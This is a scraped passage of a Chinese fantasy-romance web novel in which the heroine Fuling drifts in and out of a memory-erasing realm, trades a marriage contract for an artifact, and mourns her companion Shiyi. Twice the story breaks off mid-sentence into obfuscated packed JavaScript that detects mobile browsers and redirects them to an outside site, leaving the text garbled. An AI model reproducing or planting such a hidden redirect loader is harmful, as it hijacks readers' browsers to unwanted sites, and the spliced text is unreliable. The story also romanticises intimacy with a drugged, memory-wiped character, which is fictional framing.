相似的衣裳,她曾见相楚澜也穿过,可给人的感觉却完全不同。相楚澜红衣似火,漆眸墨发,是张扬桀骜少年臣,而眼前这位红发血瞳少年却宛如血月下一株野性漂亮的曼珠沙华,危险而又神秘。 茯凌戒备地问道:“你是谁?这是什么地方?我为什么会在这里?” 少年笑意缱绻:“这里是虚空一域,类似你的隐秘之境。” 他似乎在操控她周围的银白色光束,茯凌紧接着被光束温柔地带来他身边坐下,他的声音在她耳边响起:“我送了你一样东西,可你现在的身体难以承受,所以我带你来这儿,一则帮你炼化,二则为你做些掩饰,以免招来心术不正者的嫉妒与争夺。” 茯凌越听越糊涂,不知这人在打什么哑谜。她抬头看去,见血瞳少年正偏过头来垂眸看她,两人视线交错,他刻意掩去血瞳的乖戾,眼色柔和地对她道:“至于我是谁,你可以叫我纵樾,或者浮夷。当然,你也可以叫我十一。” 茯凌脑子里接连打出三个问号:他是八十一狱狱主,阎王殿纵樾?他还是把上古神兽天青神虬当坐骑的大栎国浮夷太子?接着他又变成了她看着长大的、替她洗衣煮饭喂鸽子的十一? 要么就是这红毛脑子有问题,要么就是眼前发生的一切……是她在做梦。 神秘的少年,诡异的对话,陌生的旷野,飘在湖中心的巨大荷叶……确实越看越像梦境。 难怪脑子有点儿转不过弯,原来是在做梦。 茯凌忍不住嘀咕起来:“为什么我会在梦里把十一、纵樾、浮夷合并成一个人?难道是被修罗塔的小白胖子给打傻了?” 说完却见血瞳少年愉悦地笑了起来,他眼角眉梢都染着笑意地对她道:“十一、纵樾、浮夷本就是同一个人,都是我的一相,你并非在做梦。还有,它叫小白,没有胖子做后缀。不过你若想喊他小白胖子,倒也不错。” 茯凌一头雾水,脑子转来转去也转不明白,这个梦好生奇怪,她拧眉盯着血瞳少年作思考状。 纵樾见她不信,无奈道:“你再仔细看看。”他闭上眼睛,遮住一对血色妖瞳,“这样能认出来了么?” 茯凌愣住,看不见那双妖邪的红瞳,少年面容瞬间柔和不少,渐渐与十一那张俊美无俦的脸重叠在一起,惊得她下意识往后一仰,即将从枝桠翻落之际,纵樾先一步揽过她腰身,手臂收紧,稳住了她:“小心。” 他声音温柔细致,与那双赤玄的异瞳风格不衬,茯凌思绪翻飞,突然想到什么,便低头去看少年的右手,见他指节明晰、骨相极好,和十一的手一样莹润漂亮,却唯独没有被红莲业火灼烧后留下的疤。 假的!茯凌看穿一切地冷笑道:“你到底是谁?为何要假扮十一?接近我有何目的?” 果然,她现在看到的一切,都是小白胖子给她制造的一场虚梦。难道小白胖子最后使出的杀招是梦魇?他要把她困在这场诡异的毫无逻辑的梦里? 茯凌看血瞳少年的眼神愈发狠戾几分:“只要我不信,这个怪梦就休想困住我!” 纵樾正要解释,突然一阵狂风掠过直冲茯凌而来,他眸色瞬冷,一挥手将那股狂风击散,同时身体一转就将茯凌横抱入怀,带着她落地的同时,血夜红瞳往前方的空气中凝神一看,巨大的银色光弧瞬袭过去,将博涂雅从空气中劈了出来。 博涂雅捂着胸口吐出血来,笑着对纵樾道:“别生气嘛,我只不过想瞧瞧金神法象的威力。” 纵樾神色幽冷:“再有下次,我不会饶你。” 茯凌瞪大双眼看着突然凭空出现的金发少年,戴长长的金色耳链,额间坠精致的金玉吊坠,是她在别人记忆里见过的博涂雅!传说中妖域最厉害的四大妖怪之一,美人玉博涂雅! 茯凌猛地抬头,看向此刻正抱着她的妖瞳少年,难道他真是阎王殿纵樾? 可他为何跟十一如此相像?又为何冒充十一?为何声称自己是大栎国浮夷? 这到底是不是一场梦? 她为什么会梦到博涂雅? 突然,茯凌脑子里蹦出“浮夷四相”四个字,但又觉得这个猜想实在荒谬,于是在少年怀里挣动道:“你先放我下来。” 她得下来蹦跶几下,看看自己是不是真的在做梦。这也太诡异了,阎王殿纵樾,美人玉博涂雅,浮夷四相,传说中的大佬竟然在她梦里群英荟萃了。难道是因为她对力量太渴望? 纵樾见她挣扎,手臂有力地收紧,将她抱得愈发稳帖。他垂眸看她,目光从先前看博涂雅的幽冷变回温柔缱绻之色:“地上有曼珠沙华,你赤着足,不要下来。” 茯凌这时才发现自己没穿鞋,衣裳也重新换过,惊道:“谁给我换的衣服?” 纵樾回道:“无常,我的法器。” 茯凌:“?”听不明白。 这时博涂雅帮忙解释道:“地狱傀儡,阎王殿的法器之一,分为黑白无常、判官、钟馗、孟婆、巡使。他派了无常伺候你换衣洗漱。地狱傀儡是法器,没有性别之分,你不必担心被冒犯。” 纵樾看了他一眼,博涂雅笑道:“我虽修为拼不过你,但论起女人心思,绝对比你懂得多!” 茯凌却兀自咕哝起来:“地狱傀儡?阎王殿纵樾的法器不是永夜银河么?他到底有多少法器?” 纵樾见她疑惑,正要向她说明,却见她慢慢闭上眼睛,靠在他怀里睡了过去,博涂雅见状笑道:“这次醒来的时间竟然这么短。你把她放在虚空一域里,她每次醒来都会忘记之前发生的事,相同的问题恐怕问过你千百遍了吧?你不觉得烦么?” 纵樾低头看着怀中的少女,唇角微弯:“她同我说话,我只感到高兴,怎么会觉得烦?” 博涂雅摇头道:“虽说在虚空一域里,时间静止不动,但按照她醒来的次数,以及你们之间发生的事来计算,从你带她进来到现在,起码已经过去十几年了。这十几年的寸步不离和悉心呵护,若是放在外面真实时空,她就是颗石头也该被你捂热了。可你偏偏要在虚空一域为她炼神明一相和金神法象,陪伴再久、付出再多她也不会记得,永远不会念着你的好。如此做好事不留名,你倒是千古第一人。” 纵樾没说话,虚空一域是他的内生武器,一种异度空间。 这里没有时间的概念,即便过上千年万年,外人眼里也不过一瞬之间; 这里遍地盛放曼珠沙华,这种地狱之花极擅迷惑人心,让人思维迟钝,分不清现实与梦境,诱人沉睡; 这里自带记忆清除机制,一旦入睡,醒来后便会忘记先前在虚空一域发生的所有事。 在虚空一域,即便他与她日夜相伴数十年,也只有他一人记得,她永远不会记起。 沉默许久,纵樾淡声道:“不管是神明一相,还是金神法象,都是我单方面要送的,没有经过她的同意,自然不能要求她因此念着我的好。况且……” 况且她曾经提过,要在十年内打入尧光十二弦,他不想她心愿落空,不能因为炼神明一相和金神法象耽误她的时间,带她进虚空一域是对她而言最好的选择。纵樾笑了笑,柔声道:“况且她赶时间。” 博涂雅摊手道:“你这样对自己是不是太残忍了?在虚空一域陪伴她这么久,她每次醒来都会忘记你,你却爱她一日胜过一日。你们之间的关系本就不对等,你还主动将这种不对等越扯越大,真不知道你怎么想的。” 纵樾眉梢微挑:“有时候我挺怀疑,你赖在我的虚空一域不肯走,到底是为了学金神法象,还是单纯只喜欢点评我对她的态度做法。” “金神法象要学,点评也不能落下。你知道我这个人,怕寂寞怕无聊怕没人跟我说话。”博涂雅笑道,“不过,陪了你们这么久,我也是时候离开了,这些曼珠沙华实在太让人头疼,我用全身修为镇着才能勉强不打瞌睡。可这么多年下来,我实在困了,熬不动了,也该出去好好睡上一觉,今天就是来跟你告别的。金神法象,以后有机会再学吧!” 纵樾心中明了:“看来金神法象,你已经学得差不多了。” 博涂雅狡黠一笑:“我走了,再不走就要着了曼珠沙华的道,在这里睡上一觉的代价太大,我不尝试,有缘再见。” 纵樾没多说什么,替他打开了虚空一域的阵心,博涂雅最后看了眼纵樾怀里的茯凌,笑道:“若换作是我,早占了这姑娘的身,管她心里想的是谁,先把生米煮成熟饭再说。我就不信天天睡她,还睡不出感情来?” 说完,生怕纵樾再教训他似的,博涂雅快速跳入阵心,头也不回地离开了虚空一域。 阵心合拢又消失,博涂雅离开后,虚空一域又恢复到以往清冷寂静的状态,纵樾看着怀中睡颜香甜的少女,知道她留在这儿的时间所剩无几,只要再醒来几次,神明一相和金神法相就差不多能炼成。 - 茯凌感觉到一股强大的力量正在她的筋脉间游走,滋润着她体内的灵力,让她体会到前所未有的舒适和满足感。 她慢慢睁开眼睛,发现自己坐在一汪温润的泉水里,更准确地来说,她是坐在一个男人的怀里,那人从她身后拥着她,她整个后背贴上他胸膛,他胳膊扣在她腰间,将她完全收拢,两人的姿势十分亲密,加上身处泉水之中,气氛显得过分旖旎,甚至一度让茯凌怀疑自己是不是在做什么奇怪的春·梦。 她动不了,余光依稀看到自己周身有一缕缕金色光辉在绕来游去,这些零散飘动的金光似乎与她体内的灵力遥相呼应,让她心情十分安静宁和,以至于当她睁开眼发现自己被一个男人抱在怀中时并没有大惊失色大叫出声。 但这并不代表她心里就没有一丝意外和疑惑,所以她尝试着问道:“你是谁?为何搂着我?这里又是哪里?” “醒了?”身后传来男人温柔的声音,他的呼吸轻柔地划过她侧脸,“这次你睡了好久。” 茯凌仍旧无法动弹,男人说话时,唇肉若有似无地触在她耳廓,让她有些痒,她想躲却无法躲,道:“为什么我动不了?” 男人的气息带着一丝淡淡的冷香,萦绕住她:“乖,我在帮你炼金神法象,过一会儿就能动了。” 茯凌一头雾水,这都是什么跟什么啊? 她不是在修罗塔跟小白胖子决一死战吗? 怎么又跑来陌生男人怀里炼金神法象了? 等等,金神法象……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167481|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 茯凌怔道:“你究竟是谁?为何要帮我炼金神法象?金神法象不是大栎国太子浮夷的内生武器吗?” 耳边传来男人低沉的笑音:“你希望我是谁?阎王殿纵樾,大栎国浮夷,还是凡人相十一?你希望我是谁,我便是谁。” 茯凌骇然:“什么意思?你是十一?” 男人声音愉悦:“嗯。” 茯凌皱眉:“你在胡说什么?十一是人族,怎么可能帮我炼金神法象?” 说完,发现自己竟然能动了,她连忙推开身后的男人,转身去看他时,只见青蓝色的泉水中坐在一个银发银瞳的年轻神族,青蓝与银白辉映,仿似碧空下的天山白雪,男人此刻穿一层薄薄的银白衣裳,在泉水湿润下,隐约可见恰到好处的肌肉线条,又纯又欲的神明相,令茯凌鼻间燥热,当场流出一行鼻血。 银瞳纯欲的年轻男人微微一笑,眼眉间一派风月无边:“你原来更喜欢我的本相。” 说话时,他已经握住茯凌胳膊,蛊惑性地将她拉回怀中,低头,修长的指温柔地为她揩去鼻下血渍,关心道:“上火了?是不是在碧泉里待了太久?” 茯凌咽了咽口水,什么情况?她真在做春·梦? 浮夷见她痴痴木木地盯着他看,瞳孔清澈的像是被清水洗过的玻璃珠,忍不住爱怜地伸手抚上她侧脸,拇指指腹轻轻压在她唇角:“再用这种眼神看我,我要忍不住做坏事了。” 他声音柔而低沉,目光清冷潋滟,茯凌不争气地又流下一行鼻血,这春·梦也太他妈真实了。 浮夷低低笑出声来,耐心地为她将鼻血擦干净:“你这是什么反应?欢迎我做坏事?” 她没说话。 于是他抱起她,走出碧泉,往寝殿方向走去。 茯凌没动,她倒要看看自己这场春·梦究竟能离谱到什么程度。温泉外的空地上,银瞳男人赤足走过,她在他怀里低头往下看,见男人所经之处会凭空开出绚丽妖娆的曼珠沙华,美艳血红的花,在男人脚下盛放,危险又迷人。 啧啧,没想到她在梦里的想象力还挺丰富。 不多时,银瞳男人将她带来一处空旷的内室,四周悬挂薄纱,清寂出尘,屋内正中央是一张镌刻咒文的床榻,他将她放到榻上,她看见男人银白色的长发垂落,发尾落在她脸颊,淡淡的冷香袭来,他高大的身体笼罩在她上方,一双温柔潋滟的银瞳盯紧她:“不推开我?” 茯凌平静地说:“我想看看这场春·梦到底有多不着调。你叫什么名字?” 浮夷低声笑了,果然,她又以为自己在做梦,是曼珠沙华在作祟。 茯凌见他笑意缱绻,更他妈欲色无边,只觉得嗓子燥得慌,喃喃道:“果然梦里面的人是没有名字的。” 浮夷没说话,只温柔无声地看着她。茯凌也静静回视,他替她撩开稍稍遮挡住眉眼的碎发,接着冰凉的手指往下,若有似无地从她脸颊划过,来到她颈间,流连地在她衣襟处徘徊,细细摩挲她的锁骨,似要深入却没再深入。轻佻的举动,被他做出一番体贴细致的意味来。 茯凌在梦中色迷心窍,感觉自己呼吸都是滚烫的,男人沉重的身体压了上去,她下意识闭上眼睛。 她的态度……温顺,乖巧,让他情难自禁。浮夷低头含住她嫣红湿润的唇,温柔细腻地描绘起她的唇线,见她没有排斥,他试探着将舌头伸进去,她配合地含住,他便抵住她小舌缠绵绕弄,逐渐加深这个吻。 茯凌舌尖被缠,又湿又热的吻,饱含温柔,又充满侵略性。她开始思考自己为何会做这个荒唐的梦,呼吸不知不觉中被揉碎,男人的舌头从她口中退出,薄唇沿着她唇角一点点亲吻,最后来到她耳畔,舌尖卷起她软软的耳垂,轻轻咬住了:“我叫浮夷。” 茯凌低声跟着念了遍,心想难怪会做这个梦,都是以前在京都买的那些话本闹的。 她叹道:“我到底是有什么毛病?” 浮夷重新吻住她唇,吃下她细碎的咕哝与低呻,虽浅尝辄止,未进行最后一步,却也将她来来回回吻了数遍,最后他克制地将她抱在怀里平复呼吸,差点儿就要忍不住将她真正变成他的女人。可他更想要她的心甘情愿,想要她清醒自愿地将自己交付于他。而非在曼珠沙华的引诱下,似梦非梦与他沉沦欲海。 茯凌被他紧紧搂在怀里,感觉到他滚烫的变化,却始终不见他有下一步的实质性动作,心想做梦就是做梦,对于她没尝试过的领域,梦里面都无法继续下去。 以后回到京都,必须把那些害人不浅的话本一把火烧了才行,不然也太影响她做主线任务了。话说,相楚澜……这孙子真他妈难攻略,连她做春·梦都不来她梦里当男主角,呸! 茯凌想着想着就觉得眼皮越来越重,她困顿地闭上眼睛,沉沉睡了过去。 - 修罗塔塔顶,小白表情严肃地看着眼前躺在地上昏迷不醒的神族少女。 半柱香之前,他凝出一个威力巨大的银白色光球,将神族少女的金神法象给砸了出来,他这才意识到大事不妙,打错人了。 后来神族少女晕了过去,接着他家大尊突然杀气腾腾地现身,吓得它立马变回兽形,看到大尊将神族少女从地上抱了起来,走了。 大尊离开后,小白焦虑地绕着修罗塔跑了几圈,害怕那女的醒来后会找大尊告他的状,惴惴不安之时,大尊又抱着神族少女回来了。 大尊将神族少女放回到地上,又对他耳提面命了几句,小白点头如捣蒜:“嗯嗯!记住了,我全都记住了!” 然后大尊就离开了修罗塔,小白守着眼前的神族少女,准备等她一醒来,他就将功补过,依大尊之命,将永夜银河双手奉上! 于是茯凌从修罗塔塔顶醒来后,看到的就是一张笑容可掬的可爱胖脸,她大呵一声赶紧运行灵力凌空跃起,同时画出一张雷符和火符就朝小白胖子攻去,小白胖子连忙闪身躲开攻击,伸出两条圆嘟嘟的胳膊朝她使劲晃道:“不打了不打了!永夜银河送给你了!” 32. 第32章 永夜银河 不打了?永夜银河送给她?什么情况? 茯凌思绪快速倒退回晕倒前,她记得自己在生死一线间准备召唤宗政向离,可还没来得及默念宗政向离的名字,就突然有一股强悍无比的力量涌入她体内,接着她就不堪重负晕了过去。 莫名其妙涌入她体内的磅礴力量是怎么回事? 危急情况下自她体内迸发而出的护体金光又是怎么回事? 难不成都是百目金丹的作用? 现在稳居上风的小白胖子又说要把永夜银河送给她…… 事情开始朝着诡异的方向发展,茯凌半眯起眼睛,警惕中带着十分不信任地问小白胖子道:“你真要把永夜银河送给我?” “对对对。”小白胖子点头点得脸颊的肥肉嘟嘟嘟的,“只要你签下一份婚书,永夜银河就送你了。” “婚书?”茯凌迷惘地看着小白胖子,“什么婚书?” 小白胖子道:“上古时期,我家大尊取自己内生武器的一部分,炼化出了法器永夜银河,这是大尊为自己将来的妻子准备的聘礼。你若想要永夜银河,就签下婚书,承诺将来嫁与大尊为妻。如此一来,我将永夜银河送予你,回头也跟大尊有个交代。” 茯凌脸色一点点木下来,硬邦邦地问道:“你在耍我么?” 敢问你家大尊今年贵庚?上古时期就开始炼法器了?还什么永夜银河是他炼的,多大一张脸?上古法器都能被他炼出来?牛哇!脸皮厚成这样,怎么不用自己的厚脸皮炼法器? 小白胖子见她一副“你看我信么”的表情,连忙道:“我不耍你,我只要婚书,你把婚书一签,永夜银河立马拿走。” 说完,他伸手一挥,空中立马浮现出一张萦绕银白光辉的丝帛,接着道:“在这张婚书上写下你的名字,永夜银河就是你的了。” 茯凌看着眼前的丝帛,只见上面写着几行字:“以白头之约,盟比翼之誓,谐鱼水之欢。此日桃花灼灼,他年瓜瓞绵绵,谨订此约,缔结良缘。” 莫名其妙,所有的事情都透出一股浓浓的莫名其妙。 这傻不愣登的小白胖子竟然相信他家大尊自上古时期就开始炼化法器,妖族的寿命也就一万多年,这么明显的谎言,小白胖子竟然信,还一本正经地说给她听,现在又拿出一张莫名其妙的婚书让她签,说签了就能拿走永夜银河。 如此咄咄怪事,到底是这个世界没有逻辑,还是小白胖子过于愚蠢? 茯凌琢磨了一会儿,怀疑性地问道:“这张婚书该不会是某种被施了妖术的契约吧?只要签上名字,我就会被你们控制?” 就像她收妖时与妖怪签订的主仆契一样。 小白胖子瞪眼道:“你休要侮辱我家大尊!大尊从不骗人签契,都是揍!揍到服气为止!” 茯凌一时无法判定签婚书到底就阎王殿纵樾的意思,还是小白胖子自己的主意。 要说阎王殿纵樾,她素未谋面,想来不会凭她一纸破签名就把上古法器送给她。那就是小白胖子突然抽风、脑筋打结、自作主张? 这胖嘟嘟的看起来不太聪明的红肚兜小破孩儿,难不成傻不拉几想用上古法器给他家大尊娶新娘? 如果真是这样……那她必须牢牢抓住这波机会! 茯凌笑嘻嘻地看向眼前的犯蠢小白胖,问道:“我若签了婚书,你打算把成亲之日定于何时?” 他若要她原地成亲,那就有些麻烦了。 成亲光她一个人肯定不行,怎么着也得把新郎找回来,若是小白胖子屁颠屁颠去找他家大尊,说他用永夜银河给换了个狱主夫人回来,那她这永夜银河怕是拿不走,或许还得挨阎王殿一顿揍。 她的这个问题触及到了小白胖子的知识盲区,他正准备摇头说不知道,就突然听到他家大尊向他掐诀传音,他于是按照大尊的指示回答道:“你定。你说什么时候成亲就什么时候成亲。” 茯凌一愣,还有这种好事?这小白胖子蠢得也有点太可爱了吧! 她拼命压住要往上翘起的嘴角:“那我一百年后再嫁给你们大尊。” 小白胖子这次没等纵樾的传音指示,就自信十足地抢答道:“无妨!我们大尊有的是时间,多少年都等得起!” 说完,好像听到大尊传音骂了他一句,于是立马按照指示补充道:“但你中途不能嫁给别人啊!” “好说好说。”茯凌笑眯眯,遇上我算是你在劫难逃,到时候你们大尊回来,看到永夜银河没了,再想找我可就晚了,我往大玄殿一躲,嗳!找不着! 茯凌指着那张漂浮着的婚书:“签哪儿?是签这儿么?” 小白胖子道:“你想签哪儿签哪儿。” 茯凌于是催动灵力、以指为笔,在婚书上龙飞凤舞地写下“茯凌”二字,写完才发现自己得意忘形竟不小心签了本名,不过她看小白胖子神色未变,看起来好像根本不识字,便没节外生枝,把婚书交到小白胖子手上:“婚书我签了,永夜银河呢?” 小白胖子满意地把婚书收了起来,接着转身走到塔层正中央的银白光柱那儿,很快就把光柱里漂浮的永夜银河取了出来,先前长约数尺的银色微光缎带缩小成小白胖子拇指大小,他把永夜银河交给茯凌:“你收了我家大尊的聘礼,以后可不能赖账。” “不赖账不赖账,我这人最讲信用。”茯凌张口就来,“让你们大尊等着娶亲吧!” 她两眼放光地看着掌心之上悬浮的那条精致小巧闪着星光的银白色缎带,催动灵力用力一握,永夜银河就顺利流入她心脉,只要回去好好炼化,这个上古神器就能变成她的神脉。 茯凌看亲人一样看着小白胖子道:“那我走了,你保重!”以后被你们大尊打屁股的时候,可千万不要记恨我! 小白胖子郑重地朝茯凌点了点头:“慢走不送!” 考虑到南荣重伤,茯凌便没召唤他出来当飞骑,让他在妖符里安心养伤。她现在战力满满,感觉体内灵力无比充盈,想来从八十一狱回到竹坞不算难事,然而虽然做足了一路斩妖、冲锋陷阵的准备,但奇怪的是,她在回去的路上竟然一只妖怪都没遇上,离开八十一狱就跟离开自己家一样顺畅无阻。 要不怎么说运气来了挡都挡不住呢! 茯凌回到竹坞,没在院中桃花树下看到十一,找了一圈也没找到,以为十一出门到四方镇买东西去了,于是就没在意,回到自己屋中,盘腿坐于榻上开始炼化永夜银河。 将法器炼成神脉是一件急不来的事,需要慢慢炼,一点点转化,茯凌此前给重塑神脉定下的时间是一年,她都想好了之后的生活,带十一回京都,十一开酒楼,她就在家里炼化神脉。 可现在真正炼化起来,却发现好运再一次降临到她头上,永夜银河仿佛为她量身打造一般,与她体内灵力极为相配,炼化起来有如神助,难怪系统说最适合她的上古法器是永夜银河,果然不假! 按照这个速度炼化下去,原来一年的时间甚至可以缩短至几天。 一直炼化到夜幕降临,茯凌发现一件非常古怪的事,她体内好像存在着一股极其强大且神秘的力量,盘踞在她筋脉血液之中,虽无法被她自由调动,却滋润着她的灵力和四肢百骸,每次炼化到关键时刻,这股神秘的力量都能帮助她突破难关,登顶新的高峰。 但茯凌并没有太多时间思考这股强大神秘的力量是怎么一回事,因为她发现天色已经完全黑沉,可十一竟然还没回家,难道是在四方镇遇上事了? 虽然她这几年不常去四方镇,四方镇也新来了不少妖族神族,但有红纹掌柜帮衬,十一在四方镇一向没遇过什么麻烦,怎么会到现在都没回来? 茯凌心中担忧,怕十一被哪个不长眼的妖怪给吃了,于是赶紧停止炼化神脉,决定先去镇上找十一。可她在镇上转了一圈,却始终没找到十一的身影,最后没办法,只好去酒肆找红纹掌柜,毕竟他是地头蛇,比她熟悉四方镇的情况。 红纹掌柜忌惮茯凌的修为,又因茯凌出手阔绰,于是一口就答应帮茯凌找十一,他让茯凌先在酒肆等着,让店小二给茯凌上了一桌好菜和一壶酒,接着就出门动用关系找十一去了。 茯凌急归急,但一天没吃东西,饿也是真饿,随即狼吞虎咽起来,她大口吃肉大口喝酒,边吃边听旁边那桌的妖怪向同伴吹嘘起他新炼出来的蛊虫。 “我这两只蛊虫炼了一千多年,就在昨晚,终于被我给炼成了!别看它们只是小小的两只虫子,作用可大了去了!我给它们取名为同生共死结!” 有个女人嘲笑道:“同生共死结,这名字听着就不厉害。按字面意思,无非就是种下蛊虫的两个人从此同生共死,跟你这个蛊师好像就没什么关系了,你岂不是白忙活一场?整这些虚头巴脑的玩意儿,你也是闲的!” 蛊妖哼道:“你懂什么?只要我将男蛊虫种给一个修为强悍的高手,再将女蛊虫种给一个弱不禁风的小女子,这样就可以通过挟制小女子来操控高手,让高手为我当牛做马!” 这时又有人调笑道:“那你就真是多此一举了。不如将男蛊虫种给你自己,再把女蛊虫种给一个法力无边的女妖,这样岂不是能让女妖对你言听计从、俯首称臣?我看,这女妖就选祸水芯骄祀,以后整个踏云馆都是你的,你又何苦窝在这四方镇与我等鬼混?” 这人的语气充满讽刺,似乎完全不相信蛊妖的一番言论,那蛊妖也没反驳,闻言只是重重叹了一口气,道:“你以为我不想?做不到嘛!女蛊虫死,男蛊虫跟着死,可男蛊虫死,女蛊虫却不受影响,我若给自己种下男蛊虫,岂不是自寻死路?” 那桌的妖闻言哄堂大笑,纷纷嘲笑那蛊妖花一千多年时间,炼出两只完全无用的虫子。蛊妖起初还辩驳两句,最后被“群起攻之”,慢慢就说不出话来,他们于是结束蛊虫的话题,又开始谈论起别的,这时茯凌也吃饱喝足,耐心坐在酒肆等红纹掌柜。 等了一会儿,红纹掌柜带着消息回来了,说是整个四方镇都问了一圈,今天没人见过十一,十一根本没往镇上来。茯凌狐疑地看着红纹掌柜:“但人总不会无缘无故地消失。” 红纹掌柜忙撇清关系道:“这几年镇上没来过炼丹炼药的,百目金丹也不在十一身上,姜大娘又改行不卖人肉包了,最近镇上的妖怪嘴刁,不爱吃人肉,大家没理由抓十一。”说完又指着端酒端菜的店小二道,“你看,他也是人族,妖怪不抓他来吃,更不会抓十一,毕竟你的厉害,我们有目共睹,至今不敢忘。十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233340|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一是你的人,我们绝对不敢动他。” 茯凌见红纹掌柜情真意切,不像在撒谎,道:“你继续帮我留意着,若是发现十一的消息,立马来竹坞找我。” 红纹掌柜道:“一定一定,说不定十一现在已经回去了。” 茯凌心里还是不放心,怕红纹掌柜不把十一当回事,恐吓他道:“我给你五天时间,五天后你若还找不到十一,我就拆了你的店,把你脑袋拧下来当球踢!” 最后吓得红纹掌柜脸上一阵白一阵青,茯凌这才满意地离开。 回到竹坞后,家里黑漆漆一片,依旧不见十一身影,茯凌点上烛灯,开始继续炼化永夜银河。 她本来准备从修罗塔回来后,带上十一就回京都,现在十一无故失踪,她只好继续在此多留几日。 一连三天都没十一的消息,茯凌隐隐有不好的预感,可现在她连十一发生了什么都不知道,即便想报仇都无仇家可寻,这种憋屈感和对十一的担心一起堵在茯凌心里,让她非常不好受,就在她坐不住准备消耗一枚锦囊妙计的时候,一位不速之客找上了门。 对方未经允许闯入她的院子,她感受到一股巨大遒劲的妖力,出去查看时,院子里的人突然向她掷来一枚暗器,茯凌反应迅速,眼明手快地将暗器接住,这时才看清所谓的暗器竟是她前几日刚送给十一的芳华簪! 茯凌目光瞬间变得凶狠起来,瞪向院中的不速之客:“你把十一怎么了?” 站在她面前的是一位金发少年,琥珀眼瞳在午后的阳光下宛似霞辉,抹额是华丽精致的金玉吊坠,显出一分女气,长长的金色耳链在微风摇晃下发出叮叮的轻灵之声。这人好像在哪儿见过……是博涂雅!跳祭祀舞的博涂雅! 茯凌瞪大双眼:“你是美人玉博涂雅!十一呢?你把十一藏哪儿了?” 博涂雅见她一脸担忧和怒气,忍不住笑道:“他倒不算一厢情愿。” 受人之托,终人之愿。博涂雅扬声道:“听着!十一死了,你不必再浪费时间等他,做你想做的事情去!你手里那根芳华簪,是他临死前托我转交给你的遗物,切记好好保管!” 茯凌厉声喝道:“死你大爷!我体内有十一割血喂养的百目金丹,他若是死了,我也活不了!现在我活蹦乱跳地站在这儿,十一必定没死!说!你把他藏哪儿了?你究竟有何目的?!” 博涂雅闻言哈哈大笑道:“谁跟你说他死,你也得死的?十一么?这么蹩脚的谎言,他敢说,你竟然也敢信?” 茯凌怒道:“你什么意思?” 博涂雅道:“百目金丹是修炼之物,又不是什么蛊物,同生共死纯属无稽之谈,你连这个都信,芳华簪落到你手上,岂不迟早被人骗去?” 茯凌道:“你别转移话题!把十一交出来!” 博涂雅话已带到,不再跟她多言,最后道:“十一死了,我杀的!你再等下去也是白费!” 他说完便转身欲走,茯凌紧追上去,根本不打算放他就这么走了,可博涂雅妖力深厚无法揣测,茯凌体内虽有神秘力量做支撑,但苦于没有自如调动之法,穷追片刻后仍然把人追丢了,她忿忿地劈倒一片竹子,心里又气恼又无奈。 博涂雅是崇仙坊坊主,妖域最厉害的四大妖怪之一,现在的她根本不是对手,刚才的穷追不舍不过是情急之下作出的冲动之举,就是真让她追上了,她又能做什么? 她什么都做不了…… 可十一只是人族,博涂雅为何要杀十一?还特地跑过来跟她说一声? 茯凌想不通,最近发生的事都太过稀奇,每一件每一桩都不合逻辑。 她现在只知道,要赶紧提高实力,在完成任务回到自己真正的身体之前,一定要杀了博涂雅为十一报仇! 回到竹坞,茯凌在桃花树下给十一立了个衣冠冢,本来想把芳华簪一起埋进去,但想到这根簪子价值一千金,埋里面怕被人盗墓,于是便插在了自己头上,这根簪子再怎么说也是十一的遗物,她得带在身上做个念想。 想起十一曾经跟她戏言,说自己算过命,活不过十八,没想到竟一语成谶,茯凌心中感伤,这时脑海里突然响起系统的播报音:「恭喜玩家,主线目标相楚澜对玩家好感度稳步上升,现阶段好感度为42%」 六年前她离开京都的时候,相楚澜对她的好感度是26%,这六年里,她买了一大堆衣裳,让千里传音鸽把记录她穿这些衣裳的传音露珠传送给相楚澜,竟不知不觉把他的好感度提到了42%,这原本是件天大的好事,可茯凌此刻却怎么都高兴不起来。 宋奶娘死了,飞花死了,现在连十一也死了。 对她好的人一个个都死了…… 茯凌坐到十一亲手给她制作的秋千上,正对月缅怀,突然听到一阵打斗声,紧接着红纹掌柜连滚带爬地跑进院中,对着她的方向高声疾呼道:“救命!大人救我!” 茯凌抬头,只见红纹掌柜身后,一个身着墨绿蟒袍的少年姿态从容地走进院中,少年右眼正下方有一颗小痣,灵动地点在那儿,使他看上去有几分狐狸般的狡黠,又有几分莫名的破碎感。 “跑什么?死在我手上,不比死在红莲业火下干净体面?”狐狸少年笑眼幽幽地说道。